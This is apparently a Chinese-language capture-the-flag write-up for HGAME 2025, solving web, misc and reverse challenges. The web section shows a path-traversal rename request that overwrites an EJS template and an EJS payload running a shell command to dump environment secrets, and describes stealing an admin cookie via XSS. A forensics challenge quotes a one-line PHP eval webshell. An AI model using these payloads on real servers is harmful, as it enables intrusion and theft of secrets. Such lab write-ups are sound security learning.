HGAME 2025 WriteUp
又是被各路大神暴打的一天 55555😭
Web
Level 24 Pacman
你的目标是,在被他们抓住之前,收集一万枚金币,离开这个地方。
WASD或者上下左右均可以移动
SPACE键可以暂停游戏
你有五次机会。在此之前,努力逃吧!
前端题,题目提示 1 万分就可以获得 flag 。
代码审计,注意到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 _0x3c0cce['createItem' ]({ 'x' : _0x5e1765['width' ] / 0x2 , 'y' : _0x5e1765[_0x4bff30 (0x14f )] * 0.5 , 'draw' : function (_0x413b57 ) { var _0x5dcc17 = _0x4bff30; _0x413b57[_0x5dcc17 (0x159 )] = '#FFF' , _0x413b57['font' ] = _0x5dcc17 (0x16a ), _0x413b57[_0x5dcc17 (0x129 )] = _0x5dcc17 (0x154 ), _0x413b57[_0x5dcc17 (0x150 )] = _0x5dcc17 (0x101 ); var _0x82b005 = _SCORE + 0x32 * Math [_0x5dcc17 (0x103 )](_LIFE - 0x1 , 0x0 ); _0x413b57[_0x5dcc17 (0x10c )](_0x5dcc17 (0xf7 ) + _0x82b005, this ['x' ], this ['y' ]), _0x82b005 > 0x270f ? (_0x413b57[_0x5dcc17 (0xf4 )] = _0x5dcc17 (0x164 ), _0x413b57['fillText' ](_0x5dcc17 (0x10d ), this ['x' ], this ['y' ] + 0x28 ), console ['log' ](_0x5dcc17 (0x10d ))) : (_0x413b57[_0x5dcc17 (0xf4 )] = _0x5dcc17 (0x164 ), _0x413b57['fillText' ]('here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==' , this ['x' ], this ['y' ] + 0x28 ), console [_0x5dcc17 (0x125 )](_0x5dcc17 (0x166 ))); } }),
有两个可能的文本输出,下面那个是 Fake flag 。
打个断点改一下 _SCORE 的值然后送了即可拿到一段 base64:
解码出来的字符串是乱的,将其对半分后逐字拼接即可得到最终 flag 。
Level 47 BandBomb
题目给了源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 const express = require ('express' );const multer = require ('multer' );const fs = require ('fs' );const path = require ('path' );const app = express ();app.set ('view engine' , 'ejs' ); app.use ('/static' , express.static (path.join (__dirname, 'public' ))); app.use (express.json ()); const storage = multer.diskStorage ({ destination : (req, file, cb ) => { const uploadDir = 'uploads' ; if (!fs.existsSync (uploadDir)) { fs.mkdirSync (uploadDir); } cb (null , uploadDir); }, filename : (req, file, cb ) => { cb (null , file.originalname ); } }); const upload = multer ({ storage : storage, fileFilter : (_, file, cb ) => { try { if (!file.originalname ) { return cb (new Error ('无效的文件名' ), false ); } cb (null , true ); } catch (err) { cb (new Error ('文件处理错误' ), false ); } } }); app.get ('/' , (req, res ) => { const uploadsDir = path.join (__dirname, 'uploads' ); if (!fs.existsSync (uploadsDir)) { fs.mkdirSync (uploadsDir); } fs.readdir (uploadsDir, (err, files ) => { if (err) { return res.status (500 ).render ('mortis' , { files : [] }); } res.render ('mortis' , { files : files }); }); }); app.post ('/upload' , (req, res ) => { upload.single ('file' )(req, res, (err ) => { if (err) { return res.status (400 ).json ({ error : err.message }); } if (!req.file ) { return res.status (400 ).json ({ error : '没有选择文件' }); } res.json ({ message : '文件上传成功' , filename : req.file .filename }); }); }); app.post ('/rename' , (req, res ) => { const { oldName, newName } = req.body ; const oldPath = path.join (__dirname, 'uploads' , oldName); const newPath = path.join (__dirname, 'uploads' , newName); if (!oldName || !newName) { return res.status (400 ).json ({ error : ' ' }); } fs.rename (oldPath, newPath, (err ) => { if (err) { return res.status (500 ).json ({ error : ' ' + err.message }); } res.json ({ message : ' ' }); }); }); app.listen (port, () => { console .log (`服务器运行在 http://localhost:${port} ` ); });
容易观察到 /rename
路由存在漏洞,可以实现文件移动
同时注意到 app.set('view engine', 'ejs');
上传一个 ejs 文件将主页的 motris.ejs
替换掉即可。
1 2 3 4 5 6 7 8 POST /rename HTTP/1.1 Host : node1.hgame.vidar.club:32580Content-Type : application/json{ "oldName" : "1.ejs" , "newName" : "../views/mortis.ejs" }
1 <%- process.mainModule.require('child_process').execSync('env|grep hgame').toString() %>
hgame{avE_muj1c@-HAS_brOK3n_Up_buT-W3-hAVE_um1t@kl4d}
Level 69 MysteryMessageBoard
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 package mainimport ( "context" "fmt" "github.com/chromedp/chromedp" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "log" "net/http" "sync" "time" ) var ( store = sessions.NewCookieStore([]byte ("fake_key" )) users = map [string ]string { "shallot" : "fake_password" , "admin" : "fake_password" } comments []string flag = "FLAG{this_is_a_fake_flag}" lock sync.Mutex ) func loginHandler (c *gin.Context) { username := c.PostForm("username" ) password := c.PostForm("password" ) if storedPassword, ok := users[username]; ok && storedPassword == password { session, _ := store.Get(c.Request, "session" ) session.Values["username" ] = username session.Options = &sessions.Options{ Path: "/" , MaxAge: 3600 , HttpOnly: false , Secure: false , } session.Save(c.Request, c.Writer) c.String(http.StatusOK, "success" ) return } log.Printf("Login failed for user: %s\n" , username) c.String(http.StatusUnauthorized, "error" ) } func logoutHandler (c *gin.Context) { session, _ := store.Get(c.Request, "session" ) delete (session.Values, "username" ) session.Save(c.Request, c.Writer) c.Redirect(http.StatusFound, "/login" ) } func indexHandler (c *gin.Context) { session, _ := store.Get(c.Request, "session" ) username, ok := session.Values["username" ].(string ) if !ok { log.Println("User not logged in, redirecting to login" ) c.Redirect(http.StatusFound, "/login" ) return } if c.Request.Method == http.MethodPost { comment := c.PostForm("comment" ) log.Printf("New comment submitted: %s\n" , comment) comments = append (comments, comment) } htmlContent := fmt.Sprintf(`<html> <body> <h1>留言板</h1> <p>欢迎,%s,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!</p> <form method="post"> <textarea name="comment" required></textarea><br> <input type="submit" value="提交评论"> </form> <h3>留言:</h3> <ul>` , username) for _, comment := range comments { htmlContent += "<li>" + comment + "</li>" } htmlContent += `</ul> <p><a href="/logout">退出</a></p> </body> </html>` c.Data(http.StatusOK, "text/html; charset=utf-8" , []byte (htmlContent)) } func adminHandler (c *gin.Context) { htmlContent := `<html><body> <p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p> </body></html>` c.Data(http.StatusOK, "text/html; charset=utf-8" , []byte (htmlContent)) go func () { lock.Lock() defer lock.Unlock() ctx, cancel := chromedp.NewContext(context.Background()) defer cancel() ctx, _ = context.WithTimeout(ctx, 20 *time.Second) if err := chromedp.Run(ctx, myTasks()); err != nil { log.Println("Chromedp error:" , err) return } }() } func myTasks () chromedp.Tasks { return chromedp.Tasks{ chromedp.Navigate("/login" ), chromedp.WaitVisible(`input[name="username"]` ), chromedp.SendKeys(`input[name="username"]` , "admin" ), chromedp.SendKeys(`input[name="password"]` , "fake_password" ), chromedp.Click(`input[type="submit"]` ), chromedp.Navigate("/" ), chromedp.Sleep(5 * time.Second), } } func flagHandler (c *gin.Context) { log.Println("Handling flag request" ) session, err := store.Get(c.Request, "session" ) if err != nil { c.String(http.StatusInternalServerError, "无法获取会话" ) return } username, ok := session.Values["username" ].(string ) if !ok || username != "admin" { c.String(http.StatusForbidden, "只有admin才可以访问哦" ) return } log.Println("Admin accessed the flag" ) c.String(http.StatusOK, flag) } func main () { r := gin.Default() r.GET("/login" , loginHandler) r.POST("/login" , loginHandler) r.GET("/logout" , logoutHandler) r.GET("/" , indexHandler) r.GET("/admin" , adminHandler) r.GET("/flag" , flagHandler) log.Println("Server started at :8888" ) log.Fatal(r.Run(":8888" )) }
简单的 XSS 。
Dirsearch 扫一下可以扫到 /admin
, 应该是 call 机器人访问
随便找个 XSS 平台在评论里投个毒即可拿到 admin 的 cookie
拿到 cookie 访问 /flag
即可。
Misc
Hakuya Want A Girl Friend
又到了一年一度的HGAME了,遵循前两年的传统,寻找(献祭)一个单身成员拿来出题🥵🥵。
前两年的都成了,希望今年也能成🙏。
下载的 txt 里面是一个 zip 压缩包的 hex ,同时注意到文件尾部藏了翻转了字节的 PNG 。
分离 zip ,里面是 flag ,但是有密码。
研究 png ,脚本复原:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def reverse_hex_file (input_file, output_file ): with open (input_file, 'rb' ) as f: hex_data = f.read().hex () reversed_hex_data = '' .join([hex_data[i:i+2 ] for i in range (0 , len (hex_data), 2 )][::-1 ]) with open (output_file, 'wb' ) as f: f.write(bytes .fromhex(reversed_hex_data)) input_file = input ("input:" ) output_file = input ("output:" ) reverse_hex_file(input_file, output_file)
分离出来的 png 存在宽高隐写,改高度秒了,得到 passwd
passwd: To_f1nd_th3_QQ
flag: hagme{h4kyu4_w4nt_gir1f3nd_+q_xxxxxxxxx}
Computer cleaner
小明的虚拟机好像遭受了攻击,你可以帮助他清理一下他的电脑吗
找到攻击者的webshell连接密码对攻击者进行简单溯源排查攻击者目的附件:https://pan.baidu.com/s/1pUtcyTAykio1Ti0utGI-BA?pwd=vid4 提取码: vid4
onedrive下载:https://1drv.ms/u/c/ad1d293564fdb7f1/EbQBbX_kCvlOkZbZOkmk7sQBE7lQu9pBrzGc8B03LanXgg?e=o1LLIb
压缩包密码:26c48b80-a1ec-4710-b26d-72dc75550d4b
虚拟机密码:vviiddaarr
简单的排查。
题干都说是 webshell 了,果断查找 /var/www/html
./uploads
里有个🐎
1 <?php @eval ($_POST ['hgame{y0u_' ]);?>
./upload_log.txt
里有攻击者的 ip
访问得到 flag2 hav3_cleaned_th3
/home/Documents
里有 flag3 _c0mput3r!}
拼接 , flag : hgame{y0u_hav3_cleaned_th3_c0mput3r!}
Reverse
Compress dot new
有时候逆向工程并不需要使用非常复杂的工具:一人、一桌、一电脑、一记事本、一数字帮手足矣。
附件备用链接:https://1drv.ms/u/c/a62edaf3b21e7091/ETgNGWjXMyRArwzcTurWXvAB-b6CiC2sK_CU0l6LeSjDtA?e=4%3Ay07Jgn
好,我用数字帮手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import jsonwith open ('enc.txt' , 'r' ) as f: content = f.read().split('\n' , 1 ) json_tree = content[0 ] binary_str = content[1 ].strip() huffman_tree = json.loads(json_tree) def decode_huffman (binary_str, root ): result = [] current_node = root for bit in binary_str: if bit == '0' : current_node = current_node['a' ] else : current_node = current_node['b' ] if 's' in current_node: result.append(current_node['s' ]) current_node = root return result decoded_symbols = decode_huffman(binary_str, huffman_tree) original_text = '' .join(chr (s) for s in decoded_symbols) print (original_text)
flag : hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}